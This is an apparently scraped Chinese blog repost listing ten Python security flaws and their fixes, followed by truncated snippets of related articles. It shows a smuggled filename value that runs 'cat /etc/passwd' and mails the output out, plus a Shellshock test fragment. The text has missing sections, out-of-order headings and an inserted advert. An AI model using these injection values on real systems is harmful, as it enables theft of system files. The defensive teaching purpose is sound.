Python常见安全漏洞及修复方法集合!你所不会的这里都有!

命令注入有可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

下面是个简单的脚本(链接:https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html),使用用户提供的文件名调用子进程:

攻击者会将filename的值设置为“; cat /etc/passwd | mail [email protected]或者其他同样危险的值。

修复方法:

如果你使用了 Web 框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建 SQL 查询,大多数 ORM 都有内置的清理方法。

对于 shell,可以使用 shlex 模块正确地转义输入。

另一种攻击使用外部实体扩展。 XML支持从外部URL引用实体,XML解析器通常会直接获取并加载该资源。“攻击者可以绕开防火墙访问保密资源,因为所有请求都是由内部可信的IP地址创建的,请求不是来自于外部。”

需要考虑的另一种情况是您要依赖于第三方软件包来解码XML,例如配置文件,远程API。您甚至不知道您的某个依赖包已经暴露在攻击之下。

Python很容易学!小编有弄一个交流,互问互答,资源共享的交流学习基地,如果你也是Python的学习者或者大牛都欢迎你来!?:548+377+875!一起 学习共同进步!

修复方法:

仅在单元测试中使用 assert 语句。

4、计时攻击

计时攻击本质上是一种通过计算比较提供值所需时间来暴露行为和算法的方式。计时攻击需要精确性,所以通常不能用于高延迟的远程网络。由于大多数 Web 应用程序涉及可变延迟,因此几乎不可能针对 HTTP Web 服务器编写计时攻击。

但是,如果你的应用程序有提示输入密码的命令行,攻击者就可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。例子参考链接:http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/

这里有一个基于SSH计时攻击的Python 工具,你可以看看如何使用它。链接:https://github.com/c0r3dump3d/osueta

修复方法:

使用在 Python 3.5 中引入的 secrets.compare_digest 来比较密码和其他私密值。

5、感染site-packages 或导入路径

Python的导入系统非常灵活。当你为测试程序编写猴子补丁,或者重载核心函数时,你会感觉非常方便。

但这也是Python最大的安全漏洞之一。

将第三方包安装到site-packages中,无论是在虚拟环境中还是在全局site-packages中,你都将暴露在安全风险中。

有一些发布到PyPi的包与流行的包具有相似的名称,但是却执行了任意代码。幸运的是,这很可能没有太大危害,只会“明确表示”这个问题没有得到真正的解决。

需要考虑的另一种情况是多层依赖包。它们可能包含漏洞,它们也可以通过导入系统重写Python默认行为。

修复方法:

你可以利用PyUp.io这个网站提供的工具检查你的第三方包。使用虚拟环境,确保您的全局site-packages尽可能干净。检查包签名。

6、临时文件

要在 Python 中创建临时文件,你通常会使用 mktemp ( )函数生成一个文件名,然后使用该名称创建一个文件。 “这是不安全的,因为另一个进程可能会在调用 mktemp ( )和随后尝试通过第一个进程创建文件之间的空隙创建一个同名文件。”这意味着应用程序可能加载错误的数据或暴露其他的临时数据。

如果调用不正确,最新版本的 Python 会发出运行警告。

修复方法:

如果需要生成临时文件,请使用 tempfile 模块并使用 mkstemp。(参考链接:https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)

7、使用 yaml.load

这里引用 PyYAML 的说明文档:

警告:使用不可信源的数据调用 yaml.load 是不安全的! yaml.load 和pickle.load 一样强大,所以可以调用任何 Python 函数。

在流行的Python项目 Ansible 中找到的这样一个例子(链接:https://www.talosintelligence.com/reports/TALOS-2017-0305),你可以将此值提供给 Ansible Vault作为(有效的)YAML,它使用文件中提供的参数调用 os.system。

所以,从用户提供的值中加载 YAML 文件会让应用大门洞开,很容易遭受攻击。

修复方法:

总是使用 yaml.safe_load,除非你有其它更好的方法。

8、Pickle漏洞

用pickle反序列化数据和YAML一样糟糕。在pickle对象时,Python类可以声明一个名为__reduce__的魔术方法,该方法返回一个字符串、或一个元组。攻击者可以使用它来引用其中一个子进程模块,在主机上运行任意命令。

这有一个在Python2中pickle一个类并打开shell的例子(链接:https://blog.nelhage.com/2011/03/exploiting-pickle/)。更多利用pickle漏洞的方法请看这个链接:https://lincolnloop.com/blog/playing-pickle-security/

修复方法:

切勿用pickle反序列化不受信任或未经身份验证的数据。改用另一种序列化模式,如JSON。

9、使用系统自带的Python而不修补漏洞

大多数可移植操作系统都自带Python2,通常还是旧版本。

由于“Python”,即CPython是用C语言编写的,所以Python解释器本身存在漏洞。 C语言中常见的安全问题与内存分配有关,所以存在缓冲区溢出错误。

多年来CPython出现了多个溢出漏洞,每个漏洞都在后续版本中进行了修复。

也就是说,如果你修补了Python本身的漏洞,你就是安全的。

这里有一个Python2.7.13及以下版本的整数溢出漏洞实例,链接:https://www.cvedetails.com/cve/CVE-2017-1000158/。 Ubuntu17以前版本的Python漏洞请参看链接:https://distrowatch.com/table.php?distribution=ubuntu

修复方法:

安装最新版本的Python并及时修补漏洞。

10、不修补依赖包的漏洞

类似于修补Python本身的漏洞,您还需要定期修补依赖包漏洞。有人习惯于使用PyPi软件包的“固定”版本,这种做法很可怕。他们认为“这些是有用的版本”,所以每个人都对漏洞置若罔闻。

上面提到的所有漏洞如果存在于你使用的包中,它们同样很致命。这些软件包的开发人员无时不刻不在解决安全问题。

修复方法:

使用类似于PyUP.io这个网站提供的服务去检查更新,向应用程序发送pull/merge 请求,运行测试,让软件包保持更新。使用InSpec这样的工具(链接:https://www.inspec.io/docs/reference/resources/pip/)来验证真实环境中的安装版本,并确保修补了最小版本或多个连续版本的漏洞。

原文地址:https://www.cnblogs.com/PY08523/p/9651074.html

时间: 2024-10-29 10:46:46

Python常见安全漏洞及修复方法集合!你所不会的这里都有!的相关文章

Python中的10个常见安全漏洞及修复方法

编写安全的代码很困难,当你学习一门编程语言.一个模块或框架时,你会学习其使用方法.在考虑安全性时,你需要考虑如何避免代码被滥用,Python也不例外,即使在标准库中,也存在着许多糟糕的实例.然而,许多 Python 开发人员却根本不知道这些. 以下是我总结的10个Python常见安全漏洞,排名不分先后. 1.输入注入 注入***影响广泛且很常见,注入有很多种类,它们影响所有的语言.框架和环境. SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串与变量混合.我读过很多代码,其中"

验证码的三个常见漏洞和修复方法

把验证码存储在Cookie中 一般来说,我们会把验证码的值用Session存储起来,通过对比用户提交的验证码和Session中的验证码,就可以知道输入是否正确.由于Session会占用服务器资源,我曾经想过是否可以把验证码的值加密后存储在Cookie中.不过事实证明,这只是异想天开罢了. 假设验证码的值是a,通过sha1加密后得到的值为b = sha1(a),并且把b存储在Cookie中.而用户提交的验证码值为c,通过判断sha1(c)是否与b相等,可以知道输入的验证码是否正确.然而,Cooki

Windows Server中的IIS漏洞以及修复方法

Windows Server中的IIS漏洞以及修复方法 我可以有把握地说,对于Windows服务器管理员来说普遍的目标是拥有适当弹性的系统.世界上有很多网络安全威胁,你最不希望发生的是在世界的另一头,或者在你的组织内部有人利用了IIS或者Windows的漏洞,而这一切都是本来可以避免的. 你可能无法触及应用层面的漏洞,但是在服务器层面你有很多事情可以做到使基于IIS的系统更加安全.通过回顾我多年的网站安全评估项目,可以指出以下最影响Windows服务器的IIS漏洞. 未处理异常(HTTP 500

python常见异常分类与处理方法

Python常见异常类型大概分为以下类: 1.AssertionError:当assert断言条件为假的时候抛出的异常 2.AttributeError:当访问的对象属性不存在的时候抛出的异常 3.IndexError:超出对象索引的范围时抛出的异常 4.KeyError:在字典中查找一个不存在的key抛出的异常 5.NameError:访问一个不存在的变量时抛出的异常 6.OSError:操作系统产生的异常 7.SyntaxError:语法错误时会抛出此异常 8.TypeError:类型错误,

关于Bash漏洞及修复方法

近期Bash漏洞让不少类Unix躺枪... 下面是相关的检测方法和修复方法(内容来源阿里云开发者论坛) ----------------------------------------------------------------------------------------------------- Bash紧急漏洞预警,请所有正在使用Linux服务器的用户注意.该漏洞直接影响基于 Unix 的系统(如 Linux.OS X 等),可导致远程攻击者在受影响的系统上执行任意代码. [已确认被

常见移动硬盘故障以及修复方法

移动硬盘因为容量大,体积小,现在越来越被大家当作电脑备用硬盘来使用,但是相对电脑硬盘,移动硬盘更需要小心地维护和使用,不然很容易就会导致故障,甚至会出现数据丢失的情况.以下就为大家列举几种常见的硬盘故障以及修复方法. 一.系统无法正确检测到移动硬盘 将移动硬盘正确的插入电脑的USB接口,听到硬盘发出的响声,硬盘上指示灯不停的闪烁,系统能正常的检测到使用了USB设备,但是在我的电脑中无法看到移动硬盘的图标.这种情况说明移动硬盘并没有损坏.将移动硬盘换到别一台机器上,能够正常使用.根据这种情况,判断

Linux 曝出重大bash安全漏洞及修复方法

日前Linux官方内置Bash中新发现一个非常严重安全漏洞(漏洞参考https://access.redhat.com/security/cve/CVE-2014-6271  ),黑客可以利用该Bash漏洞完全控制目标系统并发起攻击. 已确认被成功利用的软件及系统:所有安装GNU bash 版本小于或者等于4.3的Linux操作系统. 该漏洞源于你调用的bash shell之前创建的特殊的环境变量,这些变量可以包含代码,同时会被bash执行. 漏洞检测方法: env x='() { :;}; e

IOS中UIWebView的UXSS漏洞及修复方法

做IOS开发的同学经常用到UIWebView,大多时候是加载外部地址,但是有一些时候也会用来加载本地的html文件. UIWebView加载外部地址的时候遵循了"同源"策略,而加载本地网页的时候却绕够了"同源"策略,导致可以访问系统任意路径. 这就是UIWebView中存在的UXSS漏洞.已知尚未修复该漏洞的App有:微盘.文件全能王.QQ阅读. 漏洞复现方式大体相似,现在微盘为例: 在PC上编辑一个网页,命名为test.html. 内容如下: <script

linux_曝出重大bash安全漏洞及修复方法

日前Linux官方内置Bash中新发现一个非常严重安全漏洞(漏洞参考https://access.redhat.com/security/cve/CVE-2014-6271  ),黑客可以利用该Bash漏洞完全控制目标系统并发起攻击. 已确认被成功利用的软件及系统:所有安装GNU bash 版本小于或者等于4.3的Linux操作系统. 该漏洞源于你调用的bash shell之前创建的特殊的环境变量,这些变量可以包含代码,同时会被bash执行. 漏洞检测方法: 1 env x='() { :;};